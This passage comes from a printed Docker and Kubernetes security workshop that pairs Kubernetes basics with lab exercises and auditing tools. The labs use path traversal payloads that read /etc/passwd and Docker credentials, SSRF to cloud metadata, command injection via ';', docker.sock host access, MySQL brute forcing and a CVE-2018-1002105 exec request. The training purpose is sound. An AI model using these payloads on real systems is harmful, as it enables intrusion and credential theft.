hardware virtualization. These containers are isolated from each other and from the host
they have their own filesystem
they can't see each others processes
their computational resource usage can be bounded
They are easier to build than VMs, and because they are decoupled from the underlying
infrastructure and from the host filesystem, they are portable across public IAAS clouds and OS
distributions.
Why Kubernetes
A lot of developers have moved or are moving from a traditional world to a container based
ecosystem. This allows developers to package their application code, dependencies and
required libraries in a simple container and use it anywhere wherever there is a container
runtime available.
At a minimum, Kubernetes can schedule and run application containers on clusters of physical
or virtual machines. However, Kubernetes also allows developers to ‘cut the cord’ to physical
and virtual machines, moving from a host-centric infrastructure to a container-centric
infrastructure.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 80/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
This approach provides the full advantages and benefits inherent to containers. Kubernetes
provides the infrastructure to build a truly container centric development environment. This is
the primary reason developers love it.
What is Kubernetes
With Kubernetes, you are able to quickly and efficiently respond to customer demand
Deploy your applications quickly and predictably
Scale your applications on the fly
Roll out new features seamlessly
Limit hardware usage to required resources only
Our goal is to foster an ecosystem of components and tools that relieve the burden of
running applications in public and private clouds
Kubernetes is
Portable: public, private, hybrid, multi-cloud
Extensible: modular, pluggable, hookable, composable
Self-healing: auto-placement, auto-restart, auto-replication, auto-scaling
Google started the Kubernetes project in 2014. Kubernetes builds upon a decade and a
half of experience that Google has with running production workloads at scale, combined
with best-of-breed ideas and practices from the community.
Kubernetes Overview
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 81/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Kubernetes Master
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 82/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
The Kubernetes Master is a collection of three processes that run on a single node in your
cluster, which is designated as the master node. Those processes are
kube-apiserver
kube-controller-manager
kube-scheduler
Kubernetes Node
Each individual non-master node in your cluster runs two processes:
kubelet, which communicates with the Kubernetes Master
kube-proxy, a network proxy which reflects Kubernetes networking services on each node
Kubernetes Objects
Kubernetes contains a number of abstractions that represent the state of your system. These
abstractions are represented by objects in the Kubernetes API; see the Kubernetes Objects
overview for more details.
Basic Objects
The basic Kubernetes objects include:
Pod
Service
Volume
Namespace
Job
Terms
Pods
A pod is a collection of containers sharing a network and mount namespace and is the basic
unit of deployment in Kubernetes. All containers in a pod are scheduled on the same node.
Services
A service is a grouping of pods that are running on the cluster. A Kubernetes Service is an
abstraction which defines a logical set of Pods and a policy by which to access them -
sometimes called a micro-service. The set of Pods targeted by a Service is (usually) determined
by a Label Selector (see below for why you might want a Service without a selector).
Volumes
A Kubernetes volume is essentially a directory accessible to all containers running in a pod.
First, when a container crashes, kubelet will restart it, but the files will be lost - the container
starts with a clean state. Second, when running containers together in a Pod it is often
necessary to share files between those containers. The Kubernetes Volume abstraction solves
both of these problems.
Namespaces
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 84/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Namespaces provide for a scope of Kubernetes objects. You can think of it as a workspace
you’re sharing with other users. Many objects such as pods and services are namespaced, while
some (like nodes) are not. As a developer you’d usually simply use an assigned namespace,
however admins may wish to manage them, for example to set up access control or resource
quotas.
Replication Controllers
A replication controller (RC) is a supervisor for long-running pods. An RC will launch a specified
number of pods called replicas and makes sure that they keep running, for example when a
node fails or something inside of a pod, that is, in one of its containers goes wrong.
Deployments
A deployment is a supervisor for pods and replica sets, giving you fine-grained control over how
and when a new pod version is rolled out as well as rolled back to a previous state.
Labels
Labels are the mechanism you use to organize Kubernetes objects. A label is a key-value pair
with certain restrictions concerning length and allowed values but without any pre-defined
meaning. So you’re free to choose labels as you see fit, for example, to express environments
such as ‘this pod is running in production’ or ownership, like ‘department X owns that pod’.
Service Discovery
Service discovery is the process of figuring out how to connect to a service. While there is a
service discovery option based on environment variables available, the DNS-based service
discovery is preferable. Note that DNS is a cluster add-on so make sure your Kubernetes
distribution provides for one or install it yourself.
Health Checks
In order to verify if a container in a pod is healthy and ready to serve traffic, Kubernetes
provides for a range of health checking mechanisms. Health checks, or probes as they are
called in Kubernetes, are carried out by the kubelet to determine when to restart a container
(for livenessProbe) and by services to determine if a pod should receive traffic or not (for
readinessProbe).
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 85/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Environment Variables
You can set environment variables for containers running in a pod and in addition, Kubernetes
exposes certain runtime infos via environment variables automatically.
Secrets
You don’t want sensitive information such as a database password or an API key kept around in
clear text. Secrets provide you with a mechanism to use such information in a safe and reliable
way.
Logging
Logging is one option to understand what is going on inside your applications and the cluster at
large. Basic logging in Kubernetes makes the output a container produces available, which is a
good use case for debugging. More advanced setups consider logs across nodes and store
them in a central place, either within the cluster or via a dedicated (cloud-based) service.
Jobs
A job is a supervisor for pods carrying out batch processes, that is, a process that runs for a
certain time to completion, for example a calculation or a backup operation.
Nodes
In Kubernetes, the nodes are the worker machines where your pods run.
Replica Sets
ReplicaSet is the next-generation Replication Controller. The only difference between a
ReplicaSet and a Replication Controller right now is the selector support. ReplicaSet supports
the new set-based selector requirements as Replication Controller only supports equality-
based selector requirements.
Stateful Sets
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 86/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
StatefulSet is the workload API object used to manage stateful applications. Manages the
deployment and scaling of a set of Pods, and provides guarantees about the ordering and
uniqueness of these Pods.
Daemon Sets
A DaemonSet ensures that all (or some) Nodes run a copy of a Pod. As nodes are added to the
cluster, Pods are added to them. As nodes are removed from the cluster, those Pods are
garbage collected. Deleting a DaemonSet will clean up the Pods it created.
References
The best way to learn is looking at documentation by Kubernetes Docs
Glossary for the documentation
kubectl cluster-info
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 87/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Bunch of these commands can use shortcuts. For example the rest of the commands are using
their shortcuts.
kubectl get ns
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 88/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 89/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 90/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Deleting pod
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 91/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
kubectl api-resources
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 92/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
kubectl Cheat Sheet
Kubernetes CheatSheets In A4
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 93/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
spec:
selector:
matchLabels:
app: nginx
replicas: 2
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.7.9
ports:
- containerPort: 80
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 94/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
...
replicas: 3
...
apiVersion: v1
kind: Service
metadata:
name: nginx-deployment
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: nginx
type: ClusterIP
From another terminal, access the service through the port forward
curl http://localhost:8888/
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 95/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
https://kubernetes.io/docs/tasks/run-application/run-stateless-application-deployment/
cd /data/sample-nginx
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 96/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Change the values.yaml in the sample-nginx helm chart. Replace tag: alpine with
tag: latest
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 97/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
...
tag: alpine
...
to
...
tag: latest
...
helm ls sample-nginx
References
https://docs.helm.sh/
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 98/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Bob's company has deployed a new mail application for them to use. Alas, this application is
riddled with bugs! Most of which arise from default configurations and poor programming
practices. There has been speculation that the internal team did not even remove the readme
file for this application!
In any case, as an attacker you know that the application is deployed using docker. Can we use
a vulnerability to read files that we are not meant to and see what the docker private registry
looks like? Who knows what secrets you may find!
Tips
Endpoint for your attack is http://mailbox-service.student-
uniquename.cloudsec.training . Replace uniquename with your unique name
The login credentials for the application are username: bob and password: bobmailbox
README.md exists
The app is vulnerable to LFI
We can see that README.md discloses information regarding the private registry
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 99/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
It appears that the page parameter is vulnerable to an Insecure Direct Object Reference,
potentially allowing us to read other files on the system.
Let's try out a common payload and see if this IDOR is actually a path traversal
vulnerability. We can gain read a local files using payload qqqqq/../../etc/passwd
Similarly we can read other sensitive files in the system and find that the system contains
/root/.docker/config.json with payload qqqqq/../../root/.docker/config.json
We can use this docker configuration to pull docker images from private registry. Save the
config.json file onto your system
Run the following command to configure the docker private registry using configuration
file.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 100/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now pull the private registry image to get the backend source code
ls -la
cat index.js
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 101/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now you can see that we have got the NASA_DEMO_API_KEY which is hard coded in the
container image
Discussion
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 102/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Tips
Endpoint for your attack is http://server-health.student-
uniquename.cloudsec.training . Replace uniquename with your unique name
The login credentials for the application are username: serveradmin and password:
monitorworld
Useful reference: Google Instance Metadata 169.254.169.254
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 103/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 104/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
As this setup is running on GCP, we can query the internal metadata using the standard
endpoint http://169.254.169.254/computeMetadata/v1/
Similarly we can query all the sensitive information, including the Kubernetes secrets and
other information related to Cloud Platform
http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 105/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
59a4c760306d682ca75d690bebb9db0e
Discussion
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 106/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 107/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Tips
Execute below command to start a shell into the pod to get started
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 108/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Check Environment
Check for the environment variables
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 109/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 110/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
App Secrets
Find the app and the .git folder inside it which has old commits containing the sensitive
information
cd /app
ls -la
git log
ls -la
cat .env
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 111/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 112/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Discussion
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 113/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Tips
Endpoint for your attack is http://connectivity-check.student-
uniquename.cloudsec.training . Replace uniquename with your unique name
Login to the application using username: sysadmin and password: superpowers
We can see that application is running the ping system command by looking at the
output. Let's run some other system command by using a semicolon to separate two
commands, as we know it's running in Linux system. For example, providing an input of
google.com; id would trigger ping -c 2 google.com;id in the backend.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 115/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now that we have confirmed that the application is vulnerable to a command injection
vulnerability. we can execute other commands and do other interesting stuff within this
container.
Let's explore the file system and other services. Start by looking inside the custom docker
container.
;ls -l /custom/docker/
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 116/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Looks like the docker.sock is mounted from the host system as a volume mount
Download the docker binary to access this socket and perform docker operations within
the container
;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O
/root/docker-18.09.1.tgz
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 117/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 118/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now, we can gain access to the host system by running the following docker commands
;/root/docker/docker -H unix:///custom/docker/docker.sock ps
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 119/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Discussion
Discussion
Tips
By default, Kubernetes does not restrict traffic between pods running inside the cluster. This
means any pod can connect to any other pod as there are no firewalls controlling the intra-
cluster traffic.
Executing below commands to into the pod to get started
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 121/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
As MySQL runs on port 3306 by default, we can scan the IP range for this port
Once we have discovered the MySQL service, we can brute force the credentials to login
into the server. We can run a brute force attack using nmap and its scripting engine.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 122/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Once the credentials are discovered, we can access the MySQL instance with obtained
password within the cluster network in different namespace
kubectl get ns
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 123/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Refernces
https://ahmet.im/blog/kubernetes-network-policy/
Google Cloud Cluster CIDR
Discussion
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 124/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Tips
You can run the below command to get shell with enough tools to get cluster admin
access
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 125/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
If we check the version of the helm, it responds with Error: pods is forbidden: User
"system:serviceaccount:default:default" cannot list pods in the namespace "kube-
system" . Means client not able to establish connection with server
helm version
Let's telnet to Tiller's default service and port. We can connect to tiller-deploy.kube-
system on port 44134
Ctrl+C
Now we can use the helm with host flag to talk to the server helm --host tiller-
deploy.kube-system:44134 version
Let's try getting the secrets from kube-system namespace using kubectl kubectl get
secrets -n kube-system . We can clearly see that we can't get the secrets with default
service account attached to this pod
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 126/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now let's try again to get the secrets from kube-system namespace using kubectl
kubectl get secrets -n kube-system .
Discussion
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 127/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Running kube-bench
kube-bench is a Go application that checks whether Kubernetes is deployed securely by
running the checks documented in the CIS Kubernetes Benchmark.
1. Master Node Security Configuration
API Server
Scheduler
Controller Manager
Configuration Files
etcd
General Security Primitives
PodSecurityPolicices
2. Workere Node Security Configuration
Kubelet
Configuration Files
See the kube-bench node scan results by checking the stdout logs
Note: Here we are running only for the Kubernetes nodes as this cluster is managed by
GCP. We can also run master checks by referring to
https://github.com/aquasecurity/kube-bench
Running kubesec.io
Kubesec quantifies risk for Kubernetes resources by validating the configuration files and
manifest files used for Kubernetes deployments and operations.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 129/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
cd /data/kubesec
apiVersion: v1
kind: Pod
metadata:
name: kubesec-demo
spec:
containers:
- name: kubesec-demo
image: gcr.io/google-samples/node-hello:1.0
securityContext:
privileged: true
readOnlyRootFilesystem: true
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 130/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
apiVersion: v1
kind: Pod
metadata:
name: kubesec-demo
spec:
containers:
- name: kubesec-demo
image: gcr.io/google-samples/node-hello:1.0
securityContext:
runAsNonRoot: true
capabilities:
drop: ["ALL"]
readOnlyRootFilesystem: true
runAsUser: 100000
resources:
requsts:
cpu: 20m
memory: 30Mi
limits:
cpu: 10m
memory: 20Mi
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 131/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
https://kubesec.io
https://xsses.rocks/kubernetes-systems-hacked-to-mine-xmr
Running kube-hunter
Kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was developed to
increase awareness and visibility for security issues in Kubernetes environments. You should
NOT run kube-hunter on a Kubernetes cluster you don't own!
kubectl cluster-info
Let's run kube-hunter from outside the cluster as a black box. Select the option 1 to
perform "Remote Scanning".
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 132/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
cd /data/kube-hunter
./kube-hunter.py
We can also run the kube-hunter as a active scan within the cluster as well
cd /data/kube-hunter
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 133/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
https://github.com/aquasecurity/kube-hunter
Running kubeaudit
kubeaudit is a command line tool to audit Kubernetes clusters for various different security
concerns:
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 134/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
cd /data/kubeaudit
./kubeaudit all
We can also use kubeaudit to fix vulnerabilities in a live cluster *Not recommended for
production
References
https://github.com/Shopify/kubeaudit
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 135/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Looking complete information about cluster (to debug and diagnose cluster problems)
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 136/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
We will see how to apply automated defense to automatically stop the attack and apply the fix
in near-realtime.
DEMO
source: https://www.youtube.com/watch?v=zd0ksjZI5Vk
DEMO's
CVE-2018-1002105
CVE-2019-5736
CVE-2019-9901
Demonstration Video
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 137/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
source: https://www.youtube.com/watch?v=4CTK2aUXTHo
Check if the vulnerability exists
kubectl version
Scenario
Create a nginx container in the default namespace
create new marketing namespace with restricted access to only that namespace vi
marketing-setup.yaml
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 138/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
apiVersion: v1
kind: Namespace
metadata:
name: marketing
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: marketing-user
namespace: marketing
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: marketing-user-full-access
namespace: marketing
rules:
resources: ["*"]
verbs: ["*"]
- apiGroups: ["batch"]
resources:
- jobs
- cronjobs
verbs: ["*"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: marketing-user-view
namespace: marketing
subjects:
- kind: ServiceAccount
name: marketing-user
namespace: marketing
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: marketing-user-full-access
deploy using
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 139/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Assume that attacker has shell access to restricted pod with RBAC enabled to only
marketing namespace. Get token for the SA
Exploitation
Get the pods in default namespace
Host: 192.168.12.10:6443
Connection: upgrade
Upgrade: websocket
GET /exec/default/securenginx-xxxxx-xxxx/securenginx?
command=id&input=0&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.12.10:6443
Origin: https://192.168.12.10:6443
Sec-WebSocket-Key: $TOKEN
Sec-WebSocket-Version: 13
sec-websocket-protocol: v4.channel.k8s.io
References
https://blog.appsecco.com/analysing-and-exploiting-kubernetes-apiserver-vulnerability-
cve-2018-1002105-3150d97b24bb
https://github.com/kubernetes/kubernetes/issues/71411
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 141/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
CVE-2019-5736: runc container breakout exploit code
CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host
CVE-2019-5736-PoC
rules:
- services: ["backend.fishy.svc.cluster.local"]
methods: ["GET"]
paths: ["/public/*"]
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 142/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Reference
Security postmortem for CVE-2019-9900, CVE-2019-9901
Announcing Istio 1.1.2 with Important Security Update
CVE-2019-9901 - Istio/Envoy Path traversal
Envoy Proxy — high severity vulnerabilities that can lead to exposure of unauthorized
services
Contained.af
Game for learning about containers, capabilities, and syscalls by @jessfraz
There is a CTF on every VM instance. If you manage to break out of the container, email
[email protected] and you will be rewarded. If you bother this email address with
anything that is not the ascii art contents of the flag file you will be ignored.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 143/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 144/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
https://training.play-with-docker.com
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 145/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
https://www.katacoda.com/courses/docker-security
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 146/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Katacoda
This is a Kubernetes playground. From here you can play with a Kubernetes host and explore
it's API.
Playgrounds give you a configured environment to start playing and exploring using an
unstructured learning approach
https://www.katacoda.com/courses/kubernetes/playground
Popular Attacks
Dockerhub 190k accounts
Cryptojacking using public docker containers
Dockerhub known vulnerable images
BSidesSF CTF cluster pwn
Shopify metadata to cluster pwn
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 147/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Read more about Cryptojacking invades cloud. How modern containerization trend is
exploited by attackers
References
Docker Security
Understanding Docker Security and Best Practices
CIS Benchmarks Docker
Docker Registry
Docker Daemon Configuration
Understanding and Hardening Linux Containers
Abusing Privileged and Unprivileged Linux Containers
Security Assurance of Docker Containers
Play with Docker
Container Security Notes
Katacoda
Linux Container Security
Docker Cheat Sheet
Docker content trust
Clair
Anchore
Vuls
Docker Runtime Privileges and Capabilities
Privileged Container & Capabilities
amicontained repository
Apparmor Security Profiles on Docker
Seccomp Security Profiles on Docker
NodeJS Simple RCE
Docker Labs Capabilities
Practical SELinux and Containers
Container Security Notes gist
Containers and Operating systems morning paper gist
SSRF Bypasses
Kubernetes Docs
Kubernetes Security Info
Kubernetes Webinar series
Kubernetes Network Policies
Helm Tiller Attack
A tool for exploring each layer in a docker image
Container Image Linter for Security
